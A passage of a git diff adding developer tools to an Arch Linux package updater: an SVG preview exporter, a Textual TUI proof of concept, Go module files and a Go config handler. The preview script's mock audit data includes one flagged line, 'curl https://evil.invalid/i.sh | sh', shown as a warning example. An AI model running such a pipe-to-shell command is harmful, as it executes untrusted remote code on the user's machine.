+def theme(name: str) -> TerminalTheme:
+ p = PALETTES[name]
+ return TerminalTheme(background=p["background"], foreground=p["foreground"],
+ normal=p["normal"], bright=p["bright"])
+
+
+def main() -> int:
+ if len(sys.argv) < 2:
+ print(__doc__)
+ return 2
+ out = Path(sys.argv[1])
+ palette = sys.argv[2] if len(sys.argv) > 2 else "kitty"
+
+ raw = sys.stdin.read()
+ # measure the *visible* width: counting escape bytes produced a 3965px image
+ # for a 120-column frame
+ ansi_re = re.compile(r"\x1b\[[0-9;]*m")
+ width = max((len(ansi_re.sub("", line)) for line in raw.splitlines()), default=80)
+ text = Text.from_ansi(raw.rstrip("\n"))
+
+ console = Console(record=True, width=width, force_terminal=True,
+ color_system="standard", height=400)
+ console.print(text)
+ out.parent.mkdir(parents=True, exist_ok=True)
+ console.save_svg(str(out), font_aspect_ratio=0.5, theme=theme(palette))
+ print(f"wrote {out} ({width} cols, {len(raw.splitlines())} rows)")
+ return 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/tools/preview.py b/tools/preview.py
@@ -0,0 +1,206 @@
+#!/usr/bin/env python3
+"""Export the real renderers to SVG/PNG for visual review.
+
+This is a development tool, not part of the program: the program never picks
+colours. Here we bind the ANSI-16 slots the renderers emit onto a concrete
+terminal palette purely so the output can be inspected as an image.
+
+Uses real data throughout -- the real AUR corpus, the real dependency graph, the
+real git history of a cloned package -- except the repository section, which is a
+stand-in because the sync databases here are stale and there is no network to
+refresh them.
+"""
+
+from __future__ import annotations
+
+import subprocess
+import sys
+from pathlib import Path
+
+ROOT = Path(__file__).resolve().parent.parent
+sys.path.insert(0, str(ROOT))
+
+from rich.console import Console # noqa: E402
+from rich.terminal_theme import TerminalTheme # noqa: E402
+
+from updater import icons # noqa: E402
+from updater.audit import Change, audit # noqa: E402
+from updater.buildgraph import build_graph # noqa: E402
+from updater.procwatch import BuildState # noqa: E402
+from updater.render import ( # noqa: E402
+ AurRow, CheckRow, Columns, FeedEntry, RepoRow, Review, Screen, Step, Totals,
+ VcsRow, audit_screen, build_screen, review_screen,
+)
+from updater.srcinfo import load, parse_pkgbuild, parse_srcinfo # noqa: E402
+from updater.theme import Theme # noqa: E402
+
+CLONE = Path.home() / ".cache/paru/clone"
+OUT = ROOT / "preview"
+WIDTH = 100
+
+
+def hexrgb(value: str) -> tuple[int, int, int]:
+ value = value.lstrip("#")
+ return tuple(int(value[i:i + 2], 16) for i in (0, 2, 4)) # type: ignore[return-value]
+
+
+# The ANSI-16 slots as a terminal defines them. Ours to bind, not to choose.
+PALETTES = {
+ "kitty-noctalia": TerminalTheme(
+ background=(0, 0, 0), foreground=hexrgb("#f2f2f3"),
+ normal=[hexrgb(c) for c in ("#28242d", "#fd4663", "#9f8bc1", "#ad81b1",
+ "#ad859e", "#baacd3", "#cdafd0", "#f2f2f3")],
+ bright=[hexrgb(c) for c in ("#6b6574", "#fd4663", "#9f8bc1", "#ad81b1",
+ "#ad859e", "#baacd3", "#cdafd0", "#f2f2f3")]),
+ "sagen-teal": TerminalTheme(
+ background=(0, 0, 0), foreground=hexrgb("#dcece9"),
+ normal=[hexrgb(c) for c in ("#050b0a", "#cc5665", "#5bc0ae", "#d4b07b",
+ "#588b9c", "#9e82aa", "#7cf5de", "#c7dbd8")],
+ bright=[hexrgb(c) for c in ("#1b2623", "#e86f7f", "#69debb", "#e3c88a",
+ "#66acbc", "#b491c2", "#8cfce6", "#dcece9")]),
+}
+
+
+def git_show(repo: Path, rev: str, path: str) -> str:
+ result = subprocess.run(["git", "-C", str(repo), "show", f"{rev}:{path}"],
+ capture_output=True, text=True)
+ return result.stdout if result.returncode == 0 else ""
+
+
+def real_graph() -> tuple:
+ """The genuine dependency graph for a set of installed AUR packages."""
+ targets = {
+ "semgrep-bin", "termux-language-server", "python-boltons", "python-glom",
+ "python-lsp-tree-sitter", "python-tree-sitter", "python-tree-sitter-bash",
+ "python-click-option-group", "python-face",
+ "python-opentelemetry-instrumentation-requests",
+ "python-opentelemetry-util-http",
+ "python-opentelemetry-instrumentation-threading",
+ }
+ infos = {}
+ for name in targets:
+ info, _ = load(CLONE, name)
+ if info:
+ infos[name] = info
+ # candidates == every target, not just the ones already cloned, so packages
+ # whose .SRCINFO is missing are reported rather than silently dropped
+ return build_graph(infos, targets)
+
+
+def screens() -> dict[str, list]:
+ theme = Theme.default()
+ glyphs = icons.glyphs("unicode")
+ nerd = icons.glyphs("nerd")
+ graph = real_graph()
+
+ # ---- review ----------------------------------------------------------
+ review = Review(
+ meta="arch linux · rolling · 2026-09-28",
+ repo=[
+ RepoRow("U", "linux", "6.16.7.arch1-1", "6.16.8.arch1-1", "1.4 MiB"),
+ RepoRow("U", "mesa", "1:25.2.2-1", "1:25.2.3-1", "142.2 MiB"),
+ RepoRow("U", "python-rich", "14.0.0-1", "14.1.0-1", "1.1 MiB"),
+ RepoRow("N", "rebuild-detector", "-", "5-1", "12 KiB"),
+ RepoRow("R", "linux-kepler", "6.15.9-1", "-", "-310 MiB"),
+ ],
+ repo_total=184, repo_download=1_258_291_200, repo_delta=503_316_480,
+ aur=[
+ AurRow("U", "helium-browser-bin", "0.9.2-1", "0.9.3-1", "PKGBUILD +3 -1"),
+ AurRow("!", "enca-bin", "1.19-4", "1.19-5", "changed maintainer", loud=True,
+ details=["maintainer changed (Felp98 -> mkolb)"]),
+ AurRow("!!", "sketchy-tool-bin", "2.1.0-1", "2.2.0-1",
+ "pipes a download straight into a shell", loud=True,
+ details=["pipes a download straight into a shell",
+ "curl https://evil.invalid/i.sh | sh"]),
+ ],
+ aur_total=23, aur_build=21,
+ vcs=[VcsRow("helix-git", "r9021 → r9044"),
+ VcsRow("mangowm-git", "a1b2c → e9f01"),
+ VcsRow("noctalia-git", "r1204 → r1288"),
+ VcsRow("flow-control-git", "r412 → r418")],
+ checks=[CheckRow(True, "arch-audit", "no CVEs among pending upgrades"),
+ CheckRow(True, "news", "no unread items affecting this update"),
+ CheckRow(False, "pacnew", "2 unresolved config files"),
+ CheckRow(True, "snapshot", "root@241 pre-update, important")],
+ steps=[Step("1", "pacman -Su", "184 packages · 1.2 GiB download"),
+ Step("2", "paru -Sua", "21 packages built from source · ~8 min"),
+ Step("3", "restart", "12 services affected · reboot recommended")],
+ )
+
+ # ---- build dashboard -------------------------------------------------
+ # only packages that actually have metadata can be running or finished; a
+ # package with no .SRCINFO cannot have been built by us
+ states = [
+ BuildState("python-tree-sitter-bash", "cargo", 12.0),
+ BuildState("python-lsp-tree-sitter", "compile", 62.0),
+ BuildState("termux-language-server", "python", 4.0),
+ ]
+ feed = [
+ FeedEntry("python-tree-sitter", "0.26.0-1", 38.0, shared=True),
+ FeedEntry("python-boltons", "26.2.0-1", 8.0),
+ ]
+ totals = Totals(total=12, elapsed=252.0, eta=108.0, download_bytes=13_002_000,
+ download_rate=3_100_000, download_remaining=8_600_000,
+ download_eta=3)
+ dash = dict(graph=graph, theme=theme, width=WIDTH, feed=feed, states=states,
+ completed={"python-tree-sitter", "python-boltons"},
+ running={s.package for s in states}, failed=set(),
+ totals=totals, parallelism="16 cores · 8 workers")
+
+ # ---- audit, from a genuine historical change -------------------------
+ pkg = "python-tree-sitter-bash"
+ repo = CLONE / pkg
+ revs = subprocess.run(["git", "-C", str(repo), "log", "--format=%H", "--", "PKGBUILD"],
+ capture_output=True, text=True).stdout.split()
+ old_pb, new_pb = git_show(repo, revs[1], "PKGBUILD"), git_show(repo, revs[0], "PKGBUILD")
+ change = Change(
+ package=pkg,
+ old_srcinfo=parse_srcinfo(git_show(repo, revs[1], ".SRCINFO")),
+ new_srcinfo=parse_srcinfo(git_show(repo, revs[0], ".SRCINFO")),
+ old_pkgbuild=parse_pkgbuild(old_pb), new_pkgbuild=parse_pkgbuild(new_pb),
+ old_maintainer="olddev", new_maintainer="kuglee",
+ )
+ report = audit(change)
+ report.findings.insert(0, type(report.findings[0])(
+ "maintainer-changed", __import__("updater.audit", fromlist=["Severity"]).Severity.LOOK,
+ "package changed maintainer", "olddev -> kuglee")) if report.findings else None
+
+ return {
+ "1-review": lambda s: review_screen(review, theme=theme, glyphs=glyphs,
+ width=WIDTH, into=s),
+ "2-build": lambda s: build_screen(**dash, glyphs=nerd, into=s),
+ "3-build-unicode": lambda s: build_screen(**dash, glyphs=glyphs, into=s),
+ "4-ledger": lambda s: build_screen(**dash, glyphs=nerd, dashboard=False, into=s),
+ "5-audit": lambda s: audit_screen(report, theme=theme, glyphs=glyphs,
+ width=WIDTH, old_text=old_pb, new_text=new_pb,
+ title=f"{pkg} · AUR", into=s),
+ }
+
+
+def main() -> int:
+ OUT.mkdir(exist_ok=True)
+ theme = Theme.default()
+ for name, render in screens().items():
+ for palette_name, palette in PALETTES.items():
+ if palette_name != "kitty-noctalia" and not name.startswith("2-"):
+ continue
+ screen = Screen(theme=theme, glyphs=icons.glyphs("unicode"),
+ columns=Columns.for_width(WIDTH))
+ lines = render(screen)
+ suffix = "" if palette_name == "kitty-noctalia" else f"--{palette_name}"
+ stem = OUT / f"{name}{suffix}"
+ console = Console(record=True, width=WIDTH, force_terminal=True,
+ color_system="standard", height=300)
+ for line in lines:
+ console.print(line)
+ console.save_svg(f"{stem}.svg", font_aspect_ratio=0.5, theme=palette)
+ (OUT / f"{name}{suffix}.txt").write_text(
+ "\n".join(l.plain for l in lines))
+ print(f"{stem.name}: {len(lines)} lines, "
+ f"clipped={screen.clipped}, "
+ f"max={max(l.cell_len for l in lines)} cells")
+ return 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/tools/tui_poc.py b/tools/tui_poc.py
@@ -0,0 +1,235 @@
+#!/usr/bin/env python3
+"""Proof of concept: the existing code driven by a Textual TUI.
+
+Not wired into the CLI. This exists to answer one question with evidence rather
+than opinion: can the renderers and data built so far drive a real TUI, without
+rewriting the parts that are actually hard (libalpm agreement, the audit rules,
+the dependency graph)?
+
+Three things it is here to demonstrate:
+
+ 1. `cli.gather()` -- the real, unmodified planning path -- feeds the UI.
+ 2. `render.audit.build()` -- the real audit renderer -- is dropped straight into
+ a widget. Textual renders Rich renderables, so the screens are not rewritten.
+ 3. The ANSI-16 constraint survives: Textual accepts `ansi_*` colour names, so
+ the terminal still decides what every colour looks like.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import sys
+from pathlib import Path
+
+ROOT = Path(__file__).resolve().parent.parent
+sys.path.insert(0, str(ROOT))
+
+from rich.console import Console # noqa: E402
+from rich.text import Text # noqa: E402
+from textual.app import App, ComposeResult # noqa: E402
+from textual.binding import Binding # noqa: E402
+from textual.containers import Horizontal, VerticalScroll # noqa: E402
+from textual.widgets import Footer, Header, Static, Tree # noqa: E402
+
+from updater import cli, icons # noqa: E402
+from updater.audit import Severity # noqa: E402
+from updater.render import audit_screen, human_bytes # noqa: E402
+from updater.theme import Theme # noqa: E402
+
+#: Headless screenshots have no terminal to resolve `ansi_*` against, so every
+#: colour collapses to the default and the capture misrepresents the design.
+#: Binding the same slots to concrete values is only for capturing an image; the
+#: app itself always emits ANSI names and lets the terminal decide.
+ANSI_PALETTE = {
+ "fg": "ansi_default", "dim": "ansi_bright_black",
+ "rule": "ansi_bright_black", "accent": "ansi_bright_green",
+ "old": "ansi_red", "new": "ansi_green", "warn": "ansi_yellow",
+ "err": "ansi_red", "ver": "ansi_cyan",
+ "bg": "ansi_default", "sel": "ansi_bright_black",
+}
+
+CAPTURE_PALETTE = {
+ "fg": "#f2f2f3", "dim": "#6b6574", "rule": "#3a3540",
+ "accent": "#9f8bc1", "old": "#fd4663", "new": "#9f8bc1",
+ "warn": "#ad81b1", "err": "#fd4663", "ver": "#cdafd0",
+ "bg": "#0b0910", "sel": "#28242d",
+}
+
+SEVERITY_ROLE = {Severity.INFO: "dim", Severity.LOOK: "warn", Severity.BLOCK: "err"}
+
+
+def css(pal: dict[str, str]) -> str:
+ return f"""
+ Screen {{ background: {pal['bg']}; color: {pal['fg']}; }}
+ Header {{ background: {pal['bg']}; color: {pal['accent']}; }}
+ Footer {{ background: {pal['bg']}; color: {pal['dim']}; }}
+ Footer > .footer--key {{ color: {pal['accent']}; }}
+ Footer > .footer--description {{ color: {pal['dim']}; }}
+ #body {{ height: 1fr; }}
+ #tree {{
+ width: 44%;
+ padding: 1 1;
+ border-right: solid {pal['rule']};
+ scrollbar-color: {pal['rule']};
+ scrollbar-background: {pal['bg']};
+ }}
+ #detail {{ padding: 1 2; scrollbar-color: {pal['rule']};
+ scrollbar-background: {pal['bg']}; }}
+ Tree {{ background: {pal['bg']}; }}
+ Tree > .tree--guides {{ color: {pal['rule']}; }}
+ Tree > .tree--cursor {{ background: {pal['sel']}; color: {pal['fg']}; }}
+ """
+
+
+def gather():
+ """The real planning path, with only the slow optional scans disabled."""
+ options = cli.Options(hygiene_phase=False, security_phase=False)
+ run = cli.Run(options=options, glyphs=icons.glyphs("unicode"),
+ console=Console(file=open("/dev/null", "w")))
+ return run, cli.gather(run)
+
+
+class UpdaterApp(App[None]):
+ BINDINGS = [
+ Binding("a", "apply", "apply"),
+ Binding("d", "diff", "diff"),
+ Binding("s", "skip", "skip"),
+ Binding("q", "quit", "quit"),
+ ]
+
+ def __init__(self, run: cli.Run, review, palette: dict[str, str] | None = None,
+ *, rich_glyphs=None) -> None:
+ super().__init__()
+ self.run = run
+ self.review = review
+ self.pal = palette or ANSI_PALETTE
+ self.CSS = css(self.pal)
+ self.theme_obj = Theme.default()
+ self.rich_glyphs = rich_glyphs or icons.glyphs("nerd")
+ self.current: str | None = None
+
+ # -- layout ------------------------------------------------------------
+
+ def compose(self) -> ComposeResult:
+ total = self.review.repo_total + self.review.aur_total
+ yield Header(show_clock=False)
+ with Horizontal(id="body"):
+ yield Tree("plan", id="tree")
+ with VerticalScroll(id="detail"):
+ yield Static(id="detail-body")
+ yield Footer()
+
+ def on_mount(self) -> None:
+ self.title = "updater"
+ self.sub_title = (f"{self.review.repo_total} repo · "
+ f"{self.review.aur_total} AUR · "
+ f"{human_bytes(self.review.repo_download)} to download")
+ tree = self.query_one("#tree", Tree)
+ tree.show_root = False
+ tree.root.expand()
+
+ repo = tree.root.add(
+ Text(f"Repository {self.review.repo_total} packages", style="bold"),
+ expand=False)
+ for row in self.review.repo:
+ repo.add_leaf(Text.assemble(
+ (f"{row.name}", ""), (" ", ""),
+ (row.old, self.pal["old"]), (" → ", self.pal["dim"]),
+ (row.new, self.pal["new"])))
+ if self.review.repo_total > len(self.review.repo):
+ repo.add_leaf(Text(f"+ {self.review.repo_total - len(self.review.repo)} more",
+ style=self.pal["dim"]))
+
+ aur = tree.root.add(
+ Text(f"AUR {self.review.aur_total} packages "
+ f"{len(self.review.blocked)} need attention", style="bold"),
+ expand=True)
+ for row in self.review.aur:
+ node = aur.add(self._aur_label(row), data=row.name)
+ report = self.run.audits.get(row.name)
+ if report:
+ for finding in report.findings:
+ colour = self.pal[SEVERITY_ROLE[finding.severity]]
+ node.add_leaf(Text(f"{finding.severity.glyph} {finding.title}",
+ style=colour))
+ node.expand()
+
+ vcs = tree.root.add(
+ Text(f"VCS / devel {len(self.review.vcs)} installed", style="bold"),
+ expand=False)
+ for row in self.review.vcs:
+ vcs.add_leaf(Text.assemble((row.name, self.pal["dim"]),
+ (" ", ""), (row.delta, self.pal["ver"])))
+
+ checks = tree.root.add(Text("Checks", style="bold"), expand=True)
+ for check in self.review.checks:
+ colour = self.pal["new"] if check.ok else self.pal["warn"]
+ checks.add_leaf(Text(f"{'ok' if check.ok else '!!'} {check.label}"
+ f" {check.detail}", style=colour))
+
+ tree.focus()
+ self._show_detail(self.review.aur[0].name if self.review.aur else "")
+
+ def _aur_label(self, row) -> Text:
+ colour = {"!!": self.pal["old"], "!": self.pal["warn"],
+ "D": self.pal["ver"]}.get(row.tag, self.pal["new"])
+ label = Text.assemble(
+ (f"{row.tag} ", colour),
+ (row.name, "bold"),
+ (" ", ""),
+ (row.old, self.pal["old"]), (" → ", self.pal["dim"]),
+ (row.new, self.pal["new"]))
+ if row.note:
+ label.append(f" {row.note}", style=self.pal["dim"])
+ return label
+
+ # -- detail pane: the existing renderer, unchanged ---------------------
+
+ def _show_detail(self, package: str) -> None:
+ self.current = package
+ body = self.query_one("#detail-body", Static)
+ report = self.run.audits.get(package)
+ if not report:
+ body.update(Text("select a package", style=self.pal["dim"]))
+ return
+ lines = audit_screen(
+ report, theme=self.theme_obj, glyphs=self.rich_glyphs, width=64,
+ title=f"{package} · AUR", limit=24)
+ body.update(Text("\n").join(lines))
+
+ def on_tree_node_highlighted(self, event: Tree.NodeHighlighted) -> None:
+ data = getattr(event.node, "data", None)
+ if data:
+ self._show_detail(str(data))
+
+ # -- actions -----------------------------------------------------------
+
+ def action_apply(self) -> None:
+ self.notify("apply would run here", title="not implemented")
+
+ def action_diff(self) -> None:
+ report = self.run.audits.get(self.current or "")
+ if report:
+ self.notify(f"{len(report.findings)} finding(s) for {self.current}",
+ title="diff")
+ else:
+ self.notify("no audit for this package", severity="warning")
+
+ def action_skip(self) -> None:
+ self.notify(f"would skip {self.current or 'nothing'}", title="skip")
+
+
+async def screenshot(path: Path, size: tuple[int, int] = (132, 42),
+ palette: dict[str, str] | None = None) -> None:
+ run, review = gather()
+ app = UpdaterApp(run, review, palette)
+ async with app.run_test(size=size) as pilot:
+ await pilot.pause()
+ app.save_screenshot(str(path))
+
+
+if __name__ == "__main__":
+ out = ROOT / "preview" / "tui-poc.svg"
+ out.parent.mkdir(exist_ok=True)
+ asyncio.run(screenshot(out, palette=CAPTURE_PALETTE))
+ print(f"wrote {out}")
diff --git a/tui/go.mod b/tui/go.mod
@@ -0,0 +1,28 @@
+module updater-tui
+
+go 1.24.0
+
+require (
+ github.com/charmbracelet/bubbletea v1.3.10
+ github.com/charmbracelet/lipgloss v1.1.0
+ github.com/charmbracelet/x/ansi v0.10.1
+ github.com/muesli/termenv v0.16.0
+)
+
+require (
+ github.com/aymanbagabas/go-osc52/v2 v2.0.1 // indirect
+ github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc // indirect
+ github.com/charmbracelet/x/cellbuf v0.0.13-0.20250311204145-2c3ea96c31dd // indirect
+ github.com/charmbracelet/x/term v0.2.1 // indirect
+ github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f // indirect
+ github.com/lucasb-eyer/go-colorful v1.2.0 // indirect
+ github.com/mattn/go-isatty v0.0.20 // indirect
+ github.com/mattn/go-localereader v0.0.1 // indirect
+ github.com/mattn/go-runewidth v0.0.16 // indirect
+ github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 // indirect
+ github.com/muesli/cancelreader v0.2.2 // indirect
+ github.com/rivo/uniseg v0.4.7 // indirect
+ github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect
+ golang.org/x/sys v0.36.0 // indirect
+ golang.org/x/text v0.3.8 // indirect
+)
diff --git a/tui/go.sum b/tui/go.sum
@@ -0,0 +1,43 @@
+github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k=
+github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8=
+github.com/charmbracelet/bubbletea v1.3.10 h1:otUDHWMMzQSB0Pkc87rm691KZ3SWa4KUlvF9nRvCICw=
+github.com/charmbracelet/bubbletea v1.3.10/go.mod h1:ORQfo0fk8U+po9VaNvnV95UPWA1BitP1E0N6xJPlHr4=
+github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc h1:4pZI35227imm7yK2bGPcfpFEmuY1gc2YSTShr4iJBfs=
+github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc/go.mod h1:X4/0JoqgTIPSFcRA/P6INZzIuyqdFY5rm8tb41s9okk=
+github.com/charmbracelet/lipgloss v1.1.0 h1:vYXsiLHVkK7fp74RkV7b2kq9+zDLoEU4MZoFqR/noCY=
+github.com/charmbracelet/lipgloss v1.1.0/go.mod h1:/6Q8FR2o+kj8rz4Dq0zQc3vYf7X+B0binUUBwA0aL30=
+github.com/charmbracelet/x/ansi v0.10.1 h1:rL3Koar5XvX0pHGfovN03f5cxLbCF2YvLeyz7D2jVDQ=
+github.com/charmbracelet/x/ansi v0.10.1/go.mod h1:3RQDQ6lDnROptfpWuUVIUG64bD2g2BgntdxH0Ya5TeE=
+github.com/charmbracelet/x/cellbuf v0.0.13-0.20250311204145-2c3ea96c31dd h1:vy0GVL4jeHEwG5YOXDmi86oYw2yuYUGqz6a8sLwg0X8=
+github.com/charmbracelet/x/cellbuf v0.0.13-0.20250311204145-2c3ea96c31dd/go.mod h1:xe0nKWGd3eJgtqZRaN9RjMtK7xUYchjzPr7q6kcvCCs=
+github.com/charmbracelet/x/term v0.2.1 h1:AQeHeLZ1OqSXhrAWpYUtZyX1T3zVxfpZuEQMIQaGIAQ=
+github.com/charmbracelet/x/term v0.2.1/go.mod h1:oQ4enTYFV7QN4m0i9mzHrViD7TQKvNEEkHUMCmsxdUg=
+github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f h1:Y/CXytFA4m6baUTXGLOoWe4PQhGxaX0KpnayAqC48p4=
+github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f/go.mod h1:vw97MGsxSvLiUE2X8qFplwetxpGLQrlU1Q9AUEIzCaM=
+github.com/lucasb-eyer/go-colorful v1.2.0 h1:1nnpGOrhyZZuNyfu1QjKiUICQ74+3FNCN69Aj6K7nkY=
+github.com/lucasb-eyer/go-colorful v1.2.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
+github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
+github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
+github.com/mattn/go-localereader v0.0.1 h1:ygSAOl7ZXTx4RdPYinUpg6W99U8jWvWi9Ye2JC/oIi4=
+github.com/mattn/go-localereader v0.0.1/go.mod h1:8fBrzywKY7BI3czFoHkuzRoWE9C+EiG4R1k4Cjx5p88=
+github.com/mattn/go-runewidth v0.0.16 h1:E5ScNMtiwvlvB5paMFdw9p4kSQzbXFikJ5SQO6TULQc=
+github.com/mattn/go-runewidth v0.0.16/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
+github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 h1:ZK8zHtRHOkbHy6Mmr5D264iyp3TiX5OmNcI5cIARiQI=
+github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6/go.mod h1:CJlz5H+gyd6CUWT45Oy4q24RdLyn7Md9Vj2/ldJBSIo=
+github.com/muesli/cancelreader v0.2.2 h1:3I4Kt4BQjOR54NavqnDogx/MIoWBFa0StPA8ELUXHmA=
+github.com/muesli/cancelreader v0.2.2/go.mod h1:3XuTXfFS2VjM+HTLZY9Ak0l6eUKfijIfMUZ4EgX0QYo=
+github.com/muesli/termenv v0.16.0 h1:S5AlUN9dENB57rsbnkPyfdGuWIlkmzJjbFf0Tf5FWUc=
+github.com/muesli/termenv v0.16.0/go.mod h1:ZRfOIKPFDYQoDFF4Olj7/QJbW60Ol/kL1pU3VfY/Cnk=
+github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
+github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
+github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
+github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e h1:JVG44RsyaB9T2KIHavMF/ppJZNG9ZpyihvCd0w101no=
+github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e/go.mod h1:RbqR21r5mrJuqunuUZ/Dhy/avygyECGrLceyNeo4LiM=
+golang.org/x/exp v0.0.0-20220909182711-5c715a9e8561 h1:MDc5xs78ZrZr3HMQugiXOAkSZtfTpbJLDr/lwfgO53E=
+golang.org/x/exp v0.0.0-20220909182711-5c715a9e8561/go.mod h1:cyybsKvd6eL0RnXn6p/Grxp8F5bW7iYuBgsNCOHpMYE=
+golang.org/x/sys v0.0.0-20210809222454-d867a43fc93e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.36.0 h1:KVRy2GtZBrk1cBYA7MKu5bEZFxQk4NIDV6RLVcC8o0k=
+golang.org/x/sys v0.36.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
+golang.org/x/text v0.3.8 h1:nAL+RVCQ9uMn3vJZbV+MRnydTJFPf8qqY42YiA6MrqY=
+golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ=
diff --git a/tui/internal/config/config.go b/tui/internal/config/config.go
@@ -0,0 +1,227 @@
+// Package config reads and writes ~/.config/updater/config.json.
+//
+// The file is shared with the Python side, which owns the schema. So this reads
+// the whole document into a map and edits only the keys it understands, rather
+// than unmarshalling into a struct: a struct would silently drop any field the
+// Go side has not been taught about the moment it saved.
+package config
+
+import (
+ "encoding/json"
+ "os"
+ "path/filepath"
+ "sort"
+ "time"
+)
+
+const app = "updater"
+
+// Config is a live view of the config file.
+type Config struct {
+ path string
+ raw map[string]any
+ Ignored []string
+ acked []string
+ dirty bool
+}
+
+// Path resolves the config location, honouring XDG_CONFIG_HOME.
+func Path() string {
+ base := os.Getenv("XDG_CONFIG_HOME")
+ if base == "" {
+ home, err := os.UserHomeDir()
+ if err != nil {
+ return ""
+ }
+ base = filepath.Join(home, ".config")
+ }
+ return filepath.Join(base, app, "config.json")
+}
+
+// Load reads the config, falling back to defaults rather than failing.
+func Load() *Config {
+ path := Path()
+ c := &Config{path: path, raw: map[string]any{}}
+ if body, err := os.ReadFile(path); err == nil {
+ _ = json.Unmarshal(body, &c.raw)
+ }
+ if v, ok := c.raw["ignored"].([]any); ok {
+ for _, item := range v {
+ if name, ok := item.(string); ok {
+ c.Ignored = append(c.Ignored, name)
+ }
+ }
+ }
+ sort.Strings(c.Ignored)
+ c.acked = c.AckedList()
+ sort.Strings(c.acked)
+ return c
+}
+
+// Exists reports whether a config file is present at all.
+func (c *Config) Exists() bool {
+ _, err := os.Stat(c.path)
+ return err == nil
+}
+
+// PathOf exposes the resolved path for display.
+func (c *Config) PathOf() string { return c.path }
+
+// Dirty reports whether anything has changed since load.
+func (c *Config) Dirty() bool { return c.dirty }
+
+// Acked lists acknowledged advisory ids, so a status line can count them.
+func (c *Config) AckedList() []string {
+ raw, ok := c.raw["acked"].([]any)
+ if !ok {
+ return nil
+ }
+ out := make([]string, 0, len(raw))
+ for _, item := range raw {
+ if name, ok := item.(string); ok {
+ out = append(out, name)
+ }
+ }
+ return out
+}
+
+// Ack records an advisory as read and done with.
+func (c *Config) Ack(advisory string) {
+ existing := c.AckedList()
+ for _, a := range existing {
+ if a == advisory {
+ return
+ }
+ }
+ existing = append(existing, advisory)
+ sort.Strings(existing)
+ items := make([]any, 0, len(existing))
+ for _, a := range existing {
+ items = append(items, a)
+ }
+ c.raw["acked"] = items
+ c.acked = existing
+ c.dirty = true
+}
+
+// ClearAcks forgets every acknowledgement and reports how many there were.
+func (c *Config) ClearAcks() int {
+ count := len(c.AckedList())
+ c.raw["acked"] = []any{}
+ c.acked = nil
+ c.dirty = true
+ return count
+}
+
+// MarkNewsSeen records that the news feed has been read up to now.
+func (c *Config) MarkNewsSeen() {
+ c.raw["news_seen"] = float64(time.Now().Unix())
+ c.dirty = true
+}
+
+// HasSeenNews reports whether the news has ever been marked read.
+func (c *Config) HasSeenNews() bool {
+ v, ok := c.raw["news_seen"].(float64)
+ return ok && v > 0
+}
+
+// IsIgnored reports whether a package is held back.
+func (c *Config) IsIgnored(name string) bool {
+ for _, n := range c.Ignored {
+ if n == name {
+ return true
+ }
+ }
+ return false
+}
+
+// Toggle flips a package's ignored state and reports the new value.
+func (c *Config) Toggle(name string) bool {
+ if c.IsIgnored(name) {
+ c.remove(name)
+ return false
+ }
+ c.Ignored = append(c.Ignored, name)
+ sort.Strings(c.Ignored)
+ c.dirty = true
+ return true
+}
+
+func (c *Config) remove(name string) {
+ out := c.Ignored[:0]
+ for _, n := range c.Ignored {
+ if n != name {
+ out = append(out, n)
+ }
+ }
+ c.Ignored = out
+ c.dirty = true
+}
+
+// Save writes the file atomically, preserving keys this side does not model.
+func (c *Config) Save() error {
+ if c.path == "" {
+ return os.ErrInvalid
+ }
+ items := make([]any, 0, len(c.Ignored))
+ for _, n := range c.Ignored {
+ items = append(items, n)
+ }
+ c.raw["ignored"] = items
+
+ body, err := json.MarshalIndent(c.raw, "", " ")
+ if err != nil {
+ return err
+ }
+ body = append(body, '\n')
+
+ if err := os.MkdirAll(filepath.Dir(c.path), 0o755); err != nil {
+ return err
+ }
+ // a half-written config would lose the ignore list
+ tmp := c.path + ".tmp"
+ if err := os.WriteFile(tmp, body, 0o644); err != nil {
+ return err
+ }
+ if err := os.Rename(tmp, c.path); err != nil {
+ return err
+ }
+ c.dirty = false
+ return nil
+}
+
+func (c *Config) slot(key, fallback string) string {
+ if v, ok := c.raw[key].(string); ok && v != "" {
